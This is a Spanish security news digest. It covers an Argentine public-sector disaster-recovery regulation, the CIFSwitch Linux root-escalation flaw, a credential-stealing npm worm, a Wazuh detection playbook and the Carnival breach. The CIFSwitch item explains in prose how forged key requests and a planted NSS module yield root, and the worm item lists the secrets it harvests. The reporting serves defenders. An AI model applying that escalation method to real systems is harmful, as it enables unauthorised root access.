1.2. Categorización de sistemas por niveles de criticidad

El Anexo establece tres niveles de criticidad basados en el impacto que tendría una interrupción del sistema, siguiendo criterios inspirados en la norma federal FIPS 199 de EE.UU.:

Nivel	¿Cuándo aplica?	Ejemplos
🔴 Alto	Sistemas cuya indisponibilidad tendría efectos severos o catastróficos en seguridad, orden público, economía, salud pública o bienestar general	Centros de cómputos de ministerios clave, sistemas bancarios de pago nacional, proveedores de energía o telecomunicaciones
🟡 Medio	Sistemas que, si fallan, generarían efectos adversos graves en sectores económicos, sanitarios o regionales importantes, pero manejables a corto plazo	Organismos descentralizados, hospitales de referencia, registros provinciales, operadores de transporte público
🟢 Bajo	Sistemas cuya caída prolongada tendría impacto limitado y acotado, tolerable mediante medidas alternativas temporales	Funciones administrativas internas, bases de datos de consulta pública no crítica, sistemas duplicados

Importante: incluso los sistemas de nivel Bajo deben contar con un plan de recuperación, aunque simplificado.

Capítulo 2: Plan de Contingencia y Plan de Recuperación ante Desastres (PRD)

El Plan de Contingencia describe cómo se recuperarán los sistemas, datos y servicios críticos ante un evento adverso, garantizando la continuidad operativa y minimizando el impacto en la misión del organismo. El Plan de Recuperación ante Desastres (PRD) es parte integral de esta planificación.

2.1. Componentes mínimos obligatorios

Todo Plan de Contingencia, independientemente del organismo o su nivel de criticidad, debe incluir los siguientes componentes:

Componente	Qué debe contener
Alcance	Declaración formal del compromiso institucional con la continuidad de TI
Análisis de Impacto al Negocio (BIA)	Procesos críticos, sistemas de apoyo, consecuencias de interrupción, RTO y RPO por función esencial, priorización de sistemas
Estrategia de respaldo y recuperación	Tipo de solución adoptada (sitio espejo, caliente, tibio o frío), ubicación y características del Centro de Datos de Respaldo, recursos redundantes, mecanismos de replicación
Organización, roles y responsabilidades	Personas autorizadas a declarar un desastre, responsables de recuperación, equipos técnicos, datos de contacto de emergencia 24x7, lista de escalamiento
Procedimientos de activación y recuperación (playbooks)	Guías paso a paso para: activación del PRD, conmutación al sitio alternativo, recuperación de sistemas y datos, retorno a la normalidad. Deben ser específicos por tipo de incidente (ej: ransomware vs. destrucción física)
Coordinación con otras áreas	Interacciones con otras áreas: reporte de incidentes, comunicaciones, actualizaciones y configuración de sistemas
Medidas de seguridad en la recuperación	Controles lógicos (autenticación, firewalls, cifrado, monitoreo) y físicos; coordinación con el plan de respuesta a incidentes; cuidado de evidencia forense
Registro y documentación	Bitácora cronológica de eventos, decisiones y medidas durante una conmutación; resultados de pruebas y evidencias (informes de backup, reportes de replicación)
Programa de pruebas	Tipo y frecuencia de pruebas (failover, simulacros, tabletop), con periodicidad mínima anual para pruebas integrales; informe de resultados tras cada ejercicio con métricas y plan de remediación
Revisión y aprobación	Mecanismo formal de revisión y aprobación de los planes
Actualización y mejora continua	Objetivos de actualización periódica y ante eventos como fallas en pruebas; incorporación de lecciones aprendidas

2.2. Requisitos adicionales según nivel de criticidad

Sobre la base común anterior, el Reglamento establece exigencias adicionales, los sistemas deberán cumplir requisitos técnicos adicionales acordes al potencial impacto mayor de un incidente, diferenciadas por nivel de criticidad:

Aspecto	🔴 Alto	🟡 Medio	🟢 Bajo
Centro de respaldo	Tier 3 (certificado en 20 meses), a ≥1.500 km del centro principal	Tier 3 (certificado en 20 meses), a ≥1.500 km del centro principal	Sin requisito específico de Tier
Estrategia de recuperación	Sitio caliente (hot site) o tibio (warm site)	Sitio frío (cold site), operativo mediante procesos manuales	Copias de seguridad
RTO objetivo	Menos de 4 horas	Menos de 24 horas	Entre 1 y 5 días
RPO objetivo	Menos de 1 hora	Menos de 4 horas	No especificado
Pruebas periódicas	Al menos 1 prueba completa anual + tabletops semestrales + pruebas de recuperación de backups offline + tests de failover de redes	Al menos 1 prueba completa anual + tabletops trimestrales + pruebas de recuperación de backups offline	Pruebas de consistencia de copias de seguridad por muestreo

Sitio caliente: operativo casi en tiempo real, con replicación continua y conmutación rápida automática o semi-automática. Sitio tibio: copias incrementales con snapshots e infraestructura configurada por software. Sitio frío: infraestructura disponible pero que requiere configuración manual antes de operar.

Capítulo 3: Requisitos técnicos mínimos para el Centro de Datos de Respaldo

El Capítulo 3 especifica las condiciones que debe cumplir la infraestructura de respaldo. A continuación, un resumen de cada requisito:

Requisito	Detalle
Ubicación geográfica	Dentro del territorio argentino, a al menos 1.500 km del centro principal, para evitar exposición simultánea a eventos disruptivos regionales
Conectividad	Al menos dos enlaces independientes (preferentemente fibra óptica por rutas físicas distintas), contratados con diferentes proveedores; se recomienda un enlace adicional satelital o por radioenlace para contingencias extremas
Suministro eléctrico	Doble acometida energética, UPS adecuadas y generadores con autonomía mínima de 24 a 48 horas
Climatización	Sistemas HVAC redundantes; en ubicaciones frías puede implementarse free cooling; control de humedad para evitar condensación o estática
Hardware	Compatible con el centro principal (arquitecturas, hipervisores, SO, middleware); capacidad suficiente para soportar los servicios críticos; replicación sincrónica para RPO cercano a cero, asincrónica o por backups periódicos en los otros niveles
Seguridad física	Accesos por capas, CCTV, perímetro, detección y extinción de incendios (VESDA + agentes limpios o agua nebulizada, conforme NFPA 75/76)
Seguridad lógica	Firewalls, IDS/IPS, autenticación multifactor, segmentación de red, cifrado y monitoreo continuo (SIEM); equivalentes a los controles del centro principal (NIST SP 800-53, control CP-7(3))
Certificación Tier 3	Debe cumplir los requisitos Tier 3 desde el inicio de las operaciones y certificarse formalmente dentro de los 20 meses desde la entrada en vigencia del Reglamento. Garantiza disponibilidad anual de 99,982% y mantenimiento concurrente sin interrupción
Seguridad física y lógica	Accesos multicapa, CCTV, MFA, segmentación de red, monitoreo continuo de incidentes

El Reglamento Técnico no deja margen para la ambigüedad: define qué documentos hay que tener, qué información debe contener cada uno, qué infraestructura se requiere y cómo debe probarse. Para los organismos del Sector Público Nacional, el camino está trazado con claridad. El desafío ahora es ejecutarlo dentro del plazo, objetivo que sin duda no será sencillo.

Por Lic. Bernardita Götte

Compliance Consultant en Segu-Info

CIFSwitch: vulnerabilidad del kernel de Linux de 19 años de antigüedad expone sistemas al acceso de root

noreply@blogger.com (SSD) — Tue, 2 Jun 2026 10:11:00 -0300

Se ha publicado código de prueba de concepto (PoC) para la vulnerabilidad CIFSwitch, que permite a usuarios con pocos privilegios obtener acceso de root en sistemas Linux vulnerables.

Una vulnerabilidad del kernel de Linux de 19 años de antigüedad, denominada CIFSwitch, permite a usuarios con pocos privilegios obtener acceso de root a través del subsistema CIFS y la utilidad cifs-utils. La vulnerabilidad surge de que el kernel no valida el origen de una llamada a request_key, lo que permite a los atacantes eludir las restricciones y ejecutar código arbitrario como root.

CIFSwitch (CVE-2026-46243) es una vulnerabilidad de explotación local , descubierta mediante el uso de modelos de lógica de bajo nivel (LLM). El problema afecta a varias distribuciones de Linux, en particular a aquellas con cifs-utils instalado por defecto. Las principales distribuciones han publicado parches y se ha publicado código de prueba de concepto para facilitar la validación. Algunas distribuciones de Linux Mint, CentOS, Rocky Linux, Kali Linux, AlmaLinux y SLES SAP que tienen cifs-utils instalado por defecto son vulnerables. Algunas distribuciones son vulnerables solo si cifs-utils se instaló manualmente.

El aviso ya es público para que los propietarios de los sistemas afectados puedan aplicar el parche o implementar otras medidas de mitigación. Las principales distribuciones de Linux lanzaron correcciones para este defecto de seguridad. Asim Viladi Oglu Manizada ha publicado código de prueba de concepto (PoC) para ayudar a los defensores a "validar parches, mitigaciones, detecciones y exposición".

CIFSwitch afecta al subsistema CIFS del kernel de Linux y a la utilidad de espacio de usuario cifs-utils que utiliza para gestionar la autenticación. CIFS gestiona partes del protocolo del sistema de archivos de red SMB, como el montaje de recursos compartidos, las operaciones de lectura/escritura y la comunicación SMB con el servidor.

Al autenticar un montaje, el subsistema envía una solicitud request_key para obtener una clave cifs.spnego. Esta solicitud verifica la clave en el espacio de usuario y llama a cifs.upcall como administrador para analizar la descripción de la clave, que contiene campos como UID, PID, caché de credenciales y espacio de nombres.

Según Asim Viladi Oglu Manizada, ingeniero de seguridad de SpaceX, el kernel no verifica el origen de la solicitud ni la descripción de la clave, lo que permite a un atacante llamar directamente a la función `request_key` y proporcionar sus propios campos de descripción de clave, eludiendo así el origen de CIFS. Dado que `cifs.upcall` se llama como root, el proceso auxiliar cambia a los espacios de nombres del PID proporcionado en la descripción de clave modificada, otorgando al atacante acceso de root.

Además, durante la operación, antes de que se reduzcan los privilegios, el proceso auxiliar también realiza una búsqueda de cuenta, que pasa por el Name Service Switch (NSS) y habilita la carga de módulos NSS.

El atacante puede aprovechar esta vulnerabilidad colocando un archivo de configuración NSS falso y un módulo NSS en su espacio de nombres, lo que provoca que el proceso auxiliar cargue el código controlado por el atacante como root, explica Manizada.

Según el ingeniero, la vulnerabilidad se puede resolver considerando legítimas las descripciones de claves solo cuando CIFS utiliza su spnego_cred privado, e implementando medidas de seguridad en el espacio de usuario para verificar si la descripción de la clave es generada por el kernel.

Muchas distribuciones de Ubuntu, Fedora, CentOS, Rocky Linux, AlmaLinux, Oracle Linux, openSUSE y SLES bloquean la ruta de ejecución por defecto, mientras que Amazon Linux 2 KVM y Kali Linux 2019.4/2020.4 no se ven afectadas.

Fuente: THN

Paquetes NPM de Red Hat comprometidos para propagar un gusano de robo de credenciales

noreply@blogger.com (SSD) — Mon, 1 Jun 2026 20:27:16 -0300

Varios paquetes npm oficiales de @redhat-cloud-services se vieron comprometidos con un gusano de robo de credenciales derivado del malware de código abierto Mini Shai-Hulud, que ataca las credenciales en la nube y las herramientas de desarrollo en los flujos de CI/CD.

En total, 96 versiones de 32 paquetes se vieron comprometidas, con un total acumulado de 116.991 descargas semanales. Dado que las herramientas se hicieron públicas, otros ciberdelincuentes ahora tienen acceso a las mismas técnicas y pueden replicarlas o adaptarlas. Los paquetes se publicaron a través de GitHub Actions OIDC, lo que indica que la canalización de CI/CD se vio comprometida, y no un token de npm. Si ha instalado alguna versión de paquete afectada desde el 1 de junio de 2026, considere comprometidos todos los secretos de CI, credenciales en la nube, claves SSH y tokens de npm, y rótelos inmediatamente.

Cronología de la campaña Mini Shai-Hulud

La carga útil incrustada en los paquetes afectados presenta un gran parecido con Mini Shai-Hulud, el malware para la cadena de suministro publicado como código abierto por TeamPCP. Curiosamente, esta versión se autodenomina "Miasma" y parece haber reemplazado las conocidas referencias a Dune de Shai-Hulud con elementos de la mitología griega.

TeamPCP es un grupo de ciberdelincuentes que lleva varios meses realizando ataques dirigidos a la cadena de suministro de CI/CD. Su malware Mini Shai-Hulud es un sofisticado gusano que roba credenciales y se propaga republicando versiones con puertas traseras de paquetes a los que la cuenta de la víctima tiene acceso. Anteriormente informamos sobre vulnerabilidades que afectaban a Mistral and TanStack, Microsoft's Durable Task, PyTorch Lightning, Bitwarden CLI, e Intercom, todas ellas vinculadas a las mismas herramientas.

Cuando TeamPCP publicó el código fuente de Mini Shai-Hulud, la amenaza se extendió más allá de un único actor. Ahora, cualquier grupo puede adoptar el framework, adaptarlo e implementarlo contra nuevos objetivos.

Omisión de la publicación segura

La publicación segura es un mecanismo que npm introdujo para eliminar los tokens de publicación de larga duración de las canalizaciones de CI/CD, reemplazándolos por tokens OIDC de corta duración emitidos por GitHub Actions. Se diseñó para ser más seguro, pero como demuestran ataques recientes, puede eludirse si un atacante obtiene acceso a una canalización de CI/CD a través de una vulnerabilidad o un token comprometido.

"Descubrimos que la cuenta de GitHub de un empleado de Red Hat fue comprometida y utilizada para enviar commits huérfanos maliciosos directamente a varios repositorios, omitiendo por completo la revisión de código. Estos commits huérfanos contenían un archivo de flujo de trabajo (ci.yaml) y un script (_index.js).", declaró Aikido

¿Qué roba?

Al igual que en ataques anteriores de Mini Shai-Hulud, la carga útil realiza un escaneo exhaustivo de credenciales en proveedores de la nube, entornos de CI/CD y herramientas de desarrollo. En el lado de CI, apunta a secretos de GitHub Actions, incluidos GITHUB_TOKEN y ACTIONS_RUNTIME_TOKEN.

Para credenciales en la nube, recopila claves de acceso y tokens de sesión de AWS, credenciales predeterminadas de aplicaciones de GCP y archivos de claves de cuentas de servicio, y credenciales de entidades de servicio de Azure y tokens de identidad administrada. También busca tokens de HashiCorp Vault, tokens de cuentas de servicio de Kubernetes y archivos kubeconfig, tokens de publicación de npm y PyPI, claves privadas SSH, credenciales de registro de Docker, claves GPG y cualquier archivo .env que encuentre en el sistema de archivos.

Fuente: Aikido

Playbook de SIEM: aplicabilidad en implementaciones con #Wazuh

noreply@blogger.com (SSD) — Mon, 1 Jun 2026 09:03:00 -0300

Desde Segu-Info hace varios años implementamos Wazuh como solución SIEM/XDR Open Source en clientes de la región. Y, algo que aprendimos rápido es que la herramienta, por más completa que sea, necesita método: reglas sueltas no son detección, alertas dispersas no son incidentes. La diferencia entre un Wazuh productivo y uno que termina apagado por ruido suele estar en si hay (o no) un catálogo de casos de uso documentado, mapeado a MITRE ATT&CK, revisable y comunicable al cliente.

Por eso nos resultó útil el documento 2026 SIEM Use Case Engineering Playbook de Izzmier Izzuddin, difundido recientemente. Es un compendio gratuito de 100 casos de uso pensados para SIEM modernos, agnóstico de plataforma —los ejemplos están en KQL, SPL, Sigma y EQL— pero perfectamente traducible a Wazuh mediante reglas XML, decoders y grupos de agentes.

El playbook no es simplemente una lista de reglas; es una metodología completa que describe escenarios de amenazas realistas, identifica los logs requeridos, define bloques constructivos reutilizables, establece la lógica de detección y guía al analista desde la alerta hasta la contención.

El playbook se organiza en tres partes.

La primera define una metodología de detection engineering para 2026: cada caso de uso no es un trigger aislado sino una cadena Use Case → Rule → Alert → Incident → Tuning.

La segunda lista los 100 casos en 10 categorías: identidad y accesos, accesos privilegiados/AD/PAM, correo y BEC, endpoint y malware con Living-off-the-Land, ransomware, cloud/SaaS/OAuth/no humanos, API y web, red y threat intel, fuga de datos y seguridad de IA, y gobierno/criptografía.

La tercera —la más extensa— desarrolla cada caso como blueprint: escenario, telemetría requerida, building blocks aplicables, lógica de detección, nombre de alerta e incidente, y pasos de triage.

Lo valioso del documento no es la lista —muchos casos ya están cubiertos en cualquier SOC maduro— sino dos aportes: un catálogo de 12 Building Blocks reutilizables (usuarios privilegiados, activos críticos, IOCs, identidades no humanas, permisos OAuth de alto riesgo) y la insistencia en que cada detección lleve contexto de entidad, de negocio y vía de respuesta documentada. Eso separa un SIEM operativo de un generador de ruido.

Para los equipos que ya operan Wazuh, el playbook se vuelve aprovechable en tres planos.

Contexto y mapeo de capacidades. Los 100 casos atraviesan superficies que Wazuh cubre nativamente, Windows Security, syslog, FIM, detección de vulnerabilidades, y otras que requieren extender la plataforma. Mapear cada caso a "qué decoder, qué fuente, qué módulo" da una foto muy clara de la cobertura real de cada implementación, que es la respuesta concreta a "¿qué estamos detectando hoy?". En nuestros clientes lo armamos como una matriz: caso del playbook, regla Wazuh activa, fuente de log, estado (activo, pendiente o no aplica). Solo ese ejercicio ya ordena.

Aplicaciones prácticas en distintos niveles. El playbook se presta a una adopción progresiva. En un primer nivel hay casos accionables sin tocar la arquitectura: brute force con éxito posterior, PowerShell lanzado desde Office, herramientas de seguridad deshabilitadas, indicadores de ransomware vía FIM masivo. Todo eso se traduce a reglas XML con decoders nativos. Un nivel más arriba, casos como C2 beaconing, DNS tunnelling o detección de webshells exigen sumar sensores complementarios —Zeek y Suricata para red, Osquery o Falco para host— centralizados en Wazuh.

En entornos híbridos, los casos de OAuth, MFA fatigue o conditional access modificado se cubren con los módulos oficiales de Wazuh para Microsoft 365, AWS y Google Workspace. Para equipos más maduros, los Building Blocks se materializan como CDB Lists y grupos de agentes, habilitando reglas y active responses diferenciados según la criticidad del activo.

Organización, capacitación y propuesta de valor. Quizás la contribución más subestimada del playbook sea organizativa. Cada blueprint incluye nombre de alerta, nombre de incidente y pasos de triage: insumo directo para armar SOPs estandarizados, catálogos de reglas por cliente y planes de capacitación segmentados por categoría. Y, sobre todo, da el vocabulario para comunicar valor: un reporte mensual con mapeo MITRE ATT&CK 2026 y un Use Case Coverage Score sobre los 100 casos del playbook eleva la conversación con el cliente desde "tenemos alertas" hacia "cubrimos X% del marco vigente".

Niveles de Implementación en Wazuh

Nivel 1: Activación Inmediata

Los casos de alta prevalencia en clientes PyME y enterprise son accionables de inmediato. El playbook identifica casos prioritarios como:

UC-001: Múltiples fallos de login seguidos de éxito (EventID 4625+4624 de Windows, syslog SSH)
UC-036: Office spawns PowerShell (Sysmon EventID 1)
UC-046: Herramientas de seguridad deshabilitadas (Wazuh FIM + Windows 4688)
UC-048-051: Indicadores de ransomware (cambios masivos en FIM, evento VSS 8222)
UC-079-080: IPs/dominios maliciosos (integración Wazuh con VirusTotal/AbuseIPDB)

Por ejemplo, la detección de múltiples inicios de sesión fallidos seguidos de un acceso exitoso (UC-001) se resuelve de forma eficiente combinando los decodificadores de eventos del canal de seguridad de Windows (EventID 4625 y 4624) y Syslog en entornos Linux. De igual manera, comportamientos como la inhabilitación maliciosa de herramientas de seguridad en el endpoint (UC-046) o los precursores de actividad de ransomware (UC-048 al UC-051) pueden cubrirse habilitando el módulo de monitorización de integridad de archivos (FIM) de Wazuh en conjunto con la auditoría de ejecución de procesos nativa.

Estos casos pueden implementarse rápidamente aprovechando la telemetría que Wazuh ya recolecta de forma nativa.

Nivel 2: Integración de Sensores Open Source

Para casos que requieren telemetría que Wazuh no cubre por defecto, el playbook sugiere incorporar herramientas maduras de código abierto:

Herramientas complementarias

Al emplear Wazuh como orquestador central, la ingesta de telemetría de sistemas NIDS como Suricata o Zeek permite detectar escaneos de puertos internos (UC-082) o patrones de balizamiento C2 (UC-081). A nivel de host, integrar los resultados de Osquery o Falco facilita la identificación de la creación encubierta de servicios remotos (UC-020) y la inyección en la memoria LSASS (UC-045) al mapear su formato JSON contra reglas de alerta específicas.

Aquí aparecen escenarios como:Beaconing de C2 y patrones de comunicación anómalos

DNS tunneling
Escaneo interno de red
Persistencia en endpoint (scheduled tasks, registry keys)
Ejecución remota sospechosa

Esta integración amplía significativamente la cobertura sin incurrir en costos de licenciamiento comercial.

Nivel 3: Cobertura Cloud y SaaS

Los casos UC-056 a UC-068 (Cloud/OAuth/SaaS) y UC-087 a UC-096 (Data Leakage) requieren ingestión de logs desde plataformas cloud. Wazuh soporta esto mediante:

Módulo office365: Para Microsoft 365/Entra ID, cubriendo casos como MFA Fatigue (UC-003), reglas de reenvío de mail (UC-029), y modificación de Conditional Access (UC-063)
Custom integration vía AWS Lambda + Wazuh API: Para AWS CloudTrail/GuardDuty, detectando deshabilitación de logging (UC-064) o asignación de roles admin (UC-065)
Módulo Google Workspace (desde v4.6): Para casos como invitados agregados a workspace (UC-066) o modificación de políticas DLP (UC-068)

Estas detecciones requieren integración con Microsoft 365, Entra ID, AWS o Google Workspace, lo cual Wazuh soporta mediante módulos nativos o integraciones personalizadas.

Wazuh cubre esta superficie mediante sus módulos de integración. Al recolectar eventos de Microsoft 365 y Entra ID, es posible detectar intentos de fatiga de MFA (UC-003) y la alteración de políticas de acceso condicional (UC-063). Paralelamente, las integraciones con Google Workspace y AWS CloudTrail (vía configuraciones custom o nativas) habilitan la auditoría sobre la adición de usuarios invitados a espacios confidenciales (UC-066) o la deshabilitación fraudulenta del registro de auditoría en la nube (UC-064).

En este nivel, la aplicabilidad en Wazuh depende de la ingesta de logs externos:

Abuso de MFA (fatiga de autenticación)
Reglas de forwarding en correo
Delegaciones indebidas de acceso
Cambios en políticas de acceso condicional
Asignación de roles administrativos en cloud

Nivel 4: Building Blocks como Activo de Servicio

El componente arquitectónico más valioso que aporta el playbook es la definición de doce Building Blocks. En lugar de generar reglas complejas y codificadas rígidamente para cada alerta, se propone crear bloques de contexto reutilizables, como "Usuarios Privilegiados" o "Activos Críticos".

CDB Lists: "privileged_users.txt", "critical_assets.txt", "approved_scanners.txt"
Grupos de agentes: "domain_controllers", "payment_systems" para aplicar reglas selectivas por criticidad
Active Responses diferenciadas: Respuesta automática solo sobre activos críticos definidos

En Wazuh, esta abstracción técnica se logra mediante el uso extensivo de Listas CDB (Constant DataBase). Manteniendo archivos de texto actualizados (como privileged_users.txt), el motor de reglas puede consultar dinámicamente si la IP o el usuario asociado a un evento requiere elevar la severidad de la alerta. Adicionalmente, el uso de Agent groups permite segmentar Respuestas Activas, aislando un servidor únicamente si este ha sido previamente categorizado como crítico dentro de la topología de red.

Mantener estos building blocks actualizados se convierte en un entregable mensual medible con acta de revisión firmada.

Adoptar este nivel de rigor transforma la dinámica del monitoreo de seguridad. Permite abandonar la reactividad generada por el ruido de eventos aislados para pasar a una gestión táctica, en la que se demuestra madurez midiendo de forma objetiva qué porcentaje del framework MITRE ATT&CK se encuentra formalmente resguardado.

Una aclaración necesaria: el playbook no es un manual de Wazuh ni reemplaza la implementación. Lo que aporta es metodología: una forma de pensar la detección por casos de uso, con building blocks reutilizables, contexto de negocio y métricas de cobertura. Cualquier equipo que opere un SIEM —Wazuh, Splunk, Sentinel u otro— puede destilar valor del documento sin más esfuerzo que el de leerlo con criterio.

Para realidades latinoamericanas, donde los presupuestos son acotados y los equipos suelen ser pequeños, buena parte del catálogo es aplicable con lo que ya tenemos instalado, y el resto se cubre con sensores open source maduros sin costos de licencia. Vale la pena descargarlo, leerlo entero y usarlo como check de madurez sobre cada implementación. No reemplaza experiencia ni ingeniería, pero ordena —y ordenar es, muchas veces, el primer paso para detectar mejor—.

El documento no reemplaza la implementación de Wazuh, sino que la complementa con una metodología probada. Su mayor valor para organizaciones que operan Wazuh es triple: proporciona vocabulario común para comunicar valor de seguridad, ofrece estructura para escalar detecciones de forma consistente, y establece métricas objetivas de cobertura de detección.

Agradecemos a Izzmier Izzuddin por la compilación y la difusión del material.

Por Segu-Info

Disposición AR 1/2026 da 180 días a organismos públicos para reforzar su ciberseguridad

noreply@blogger.com (SSD) — Sun, 31 May 2026 10:17:00 -0300

El Centro Nacional de Ciberseguridad argentino comunicó la Disposición 1/2026 con nuevos lineamientos técnicos para mejorar la resiliencia del Estado frente a ciberataques, fallas críticas e incidentes que puedan afectar servicios esenciales. Las claves del boletín oficial.

La publicación en el Boletín Oficial de los nuevos lineamientos técnicos establecidos por el Centro Nacional de Ciberseguridad (CNC) para todos los organismos del sector estatal busca fortalecer la resiliencia cibernética de las infraestructuras críticas y mejorar las capacidades de prevención, respuesta y recuperación ante incidentes informáticos en organismos públicos.

En concreto, establece un plazo de 180 días para que cada uno de los organismos implicados adecue sus infraestructuras, políticas y procedimientos internos a las nuevas disposiciones.

La normativa representa un cambio de paradigma respecto de cómo los Estados abordan la seguridad digital: ya no alcanza con prevenir un ataque, sino que también resulta clave garantizar la continuidad operativa ante un incidente.

El objetivo ya no es solo prevenir ataques, sino recuperarse rápido

La nueva normativa pone el foco en la resiliencia y la recuperación operativa, en un contexto en el que durante años la mayoría de las estrategias defensivas se centraron en la prevención, pero el crecimiento y la evolución del ransomware y de otros tipos de ataques hizo que las organizaciones deban aceptar una realidad incómoda: ningún entorno es invulnerable.

De acuerdo con la nueva normativa de la CNC, cada organismo deberá identificar y clasificar todos sus sistemas según el impacto que tendría su caída, tanto en lo económico, como en la afectación de servicios al ciudadano, las consecuencias legales y el daño reputacional.

Para ello, se incorporan conceptos asociados a continuidad del negocio y recuperación ante desastres, como RTO (Recovery Time Objective) y RPO (Recovery Point Objective), que se utilizan para definir tiempos máximos de recuperación y pérdida aceptable de datos.

En concreto, para sistemas de criticidad alta, el RTO deberá ser menor a 4 horas y la RPO no podrá superar una hora. En sistemas de criticidad media, el RTO será menor a 24 horas y el RPO menor a 4 horas. Mientras que, para los sistemas de criticidad baja, la recuperación podrá ubicarse entre 1 y 5 días, con copias de seguridad verificadas por muestreo.

Centros de datos de respaldo y plan de recuperación de desastres

Otro punto crítico es la obligación de contar con un Centro de Datos de Respaldo dentro del territorio argentino, para evitar que un mismo evento afecte en simultáneo al sitio principal y al alternativo (sea un ciberataque, un apagón masivo o desastre natural). Entre sus características, debe contar con niveles altos de disponibilidad, redundancia eléctrica y protección contra incendios, entre otros.

Por otro lado, la nueva disposición obliga a los organismos estatales a efectuar una prueba anual de su Plan de Recuperación ante Desastres, pruebas de conmutación y pruebas de recuperación desde backups offline, entre otras. Se deben compartir las métricas dentro de un informe, para así llevar adelante un proceso operativo que cuente con evidencia, seguimiento y la oportunidad de una mejora continua.

El texto de la norma incluso menciona escenarios específicos como ransomware y la caída total de infraestructura, exigiendo que existan guías paso a paso (playbooks) para llevar a cabo la recuperación en distintos escenarios de desastre. Estos playbooks deben ser específicos para cada tipo de incidente relevante, con el objetivo de minimizar el impacto operativo que pueda ocasionar un incidente de ciberseguridad.

En este contexto, incorporar capacidades de Inteligencia de Amenazas resulta crítico, ya que permite a las entidades de gobierno “anticiparse mediante el análisis de actores, tácticas, técnicas y procedimientos (TTPs), priorizar riesgos en función del contexto geopolítico y sectorial, y transformar información en decisiones accionables para la protección de activos críticos.

La resiliencia pasa al centro de la estrategia

La nueva normativa refleja un cambio en la forma en que gobiernos y organizaciones a la cuestión de la ciberseguridad.

Durante años, las organizaciones —tanto públicas como privadas— basaron sus estrategias bajo la premisa de impedir cualquier intrusión. Hoy, el paradigma comienza a cambiar: se asume que los incidentes pueden ocurrir y que, por lo tanto, las organizaciones deben estar preparadas para resistir, responder y recuperarse de la manera más rápida posible.

En otras palabras, la resiliencia pasa a tener casi el mismo peso que la prevención. En el caso de los organismos estatales, esa capacidad de recuperación es crítica: no solo impacta sobre sistemas o infraestructuras, sino también sobre servicios esenciales, trámites, operaciones críticas y la vida cotidiana de los ciudadanos.

Por eso, más allá del lado técnico de la normativa, la medida emerge como parte de una transformación mucho más amplia: la consolidación de la ciberseguridad como un componente central para la estabilidad y continuidad operativa de un país.

Fuente: WeLiveSecurity

Roban 6m registros del mayor operador de cruceros del mundo Carnival

noreply@blogger.com (SSD) — Sat, 30 May 2026 10:16:00 -0300

El mayor operador de cruceros del mundo, Carnival Corporation, ha confirmado oficialmente un exhaustivo incidente de ciberseguridad que ha comprometido la información personal de casi seis millones de clientes en todo el mundo.

Según las declaraciones regulatorias presentadas ante las autoridades estatales, incluida la Oficina del Fiscal General de Maine, la brecha ha expuesto datos altamente sensibles pertenecientes a 5,995,277 personas. El gigante corporativo, que opera una enorme flota global a través de marcas emblemáticas como Carnival Cruise Line, Princess Cruises, Holland America Line y Seabourn, se encuentra actualmente trabajando contrarreloj para notificar a los pasajeros afectados y mitigar una oleada de riesgos secundarios de robo de identidad.

El compromiso de seguridad comenzó presuntamente cuando un actor de amenazas digitales lanzó una campaña de ingeniería social altamente dirigida contra miembros del personal de Carnival.

El 14 de abril, una sola cuenta de empleado fue manipulada con éxito, lo que permitió al adversario externo eludir las defensas perimetrales y establecer un punto de apoyo digital dentro de un segmento restringido de los sistemas informáticos internos de la empresa.

Para el 22 de abril, los investigadores descubrieron que el atacante había logrado exfiltrar y copiar de forma agresiva enormes volúmenes de archivos corporativos antes de que los equipos de seguridad pudieran cortar por completo el acceso no autorizado.

Aunque el conglomerado de vacaciones no nombró explícitamente a los cibercriminales detrás de la intrusión en la red, el conocido sindicato de extorsión conocido como ShinyHunters se atribuyó públicamente la responsabilidad del ciberataque.

Posteriormente, el grupo publicó un enorme conjunto de datos que contenía aproximadamente 8.7 millones de registros en su repositorio de la dark web, después de que un aparente intento de extorsión no lograra obtener un pago corporativo.

Un análisis forense de la base de datos filtrada indica que la asombrosa cifra de 7.5 millones de cuentas pertenecían específicamente al programa de recompensas por fidelidad Mariner Society, operado por Holland America Line, lo que demuestra que los delincuentes recolectaron intensamente documentación de viajeros frecuentes.

Los puntos de datos específicos robados por el grupo de extorsión digital varían según el pasajero, pero el alcance de la documentación comprometida resulta profundamente preocupante para los analistas de riesgo corporativo.

En comunicados corporativos y avisos sustitutivos, Carnival confirmó que los archivos robados contienen información de identificación personal (PII) exhaustiva, que incluye nombres completos de clientes, direcciones físicas residenciales, números de teléfono de contacto y direcciones de correo electrónico.

Lo que es más alarmante, los actores de amenazas descargaron con éxito archivos que contenían fechas de nacimiento, números internos de seguimiento de programas de fidelidad y documentos críticos de identificación emitida por el gobierno, incluidos detalles de licencias de conducir y números de pasaporte.

El servicio de notificación de filtraciones de datos Have I Been Pwned analizó los datos filtrados por la banda de extorsionadores y afirmó que la filtración expuso los nombres, fechas de nacimiento, direcciones de correo electrónico, géneros, ubicaciones geográficas y detalles del programa de fidelización de las personas afectadas.

Inmediatamente después de descubrirse la filtración, la unidad de respuesta a incidentes empresariales de Carnival se movilizó junto con expertos en ciberseguridad externos para expulsar a los actores de amenazas del entorno y evaluar la totalidad de los daños operativos. La compañía de cruceros ha declarado que desde entonces ha implementado controles de monitoreo mejorados y ha reforzado sus protocolos de autenticación para protegerse contra futuros exploits de infraestructura centrados en el factor humano.

A partir de finales de mayo, la corporación inició una campaña masiva de notificación electrónica para informar formalmente a los viajeros afectados sobre la exposición de sus credenciales y delinear protocolos de remediación de protección.

Para proteger a los viajeros comprometidos de campañas de phishing dirigidas y el posterior fraude financiero, Carnival está proporcionando a las personas afectadas una suscripción gratuita de 24 meses a la plataforma de resolución de fraudes y monitoreo de crédito MyTrueIdentity de TransUnion.

Los analistas independientes de ciberseguridad advierten que las filtraciones de datos en la industria de viajes son excepcionalmente peligrosas debido a que los actores de amenazas pueden utilizar historiales de viaje explícitos, clasificaciones de fidelidad y detalles de pasaportes para diseñar señuelos engañosos hiperrealistas. En el futuro, se espera que los reguladores de múltiples jurisdicciones examinen de cerca las prácticas de retención de datos de la línea de cruceros y los fallos previos de seguridad en su infraestructura, especialmente dados los antecedentes de Carnival con incidentes de seguridad de datos anteriores.

Fuente: BC

Campañas de malware Grandoreiro y BTMOB RAT atacan a usuarios de Windows y Android en América Latina

noreply@blogger.com (SSD) — Fri, 29 May 2026 10:17:13 -0300

Latinoamérica y Europa se han convertido en el objetivo de dos campañas de troyanos bancarios diseñadas para infectar dispositivos Windows y Android con el malware Grandoreiro y BTMOB, respectivamente.

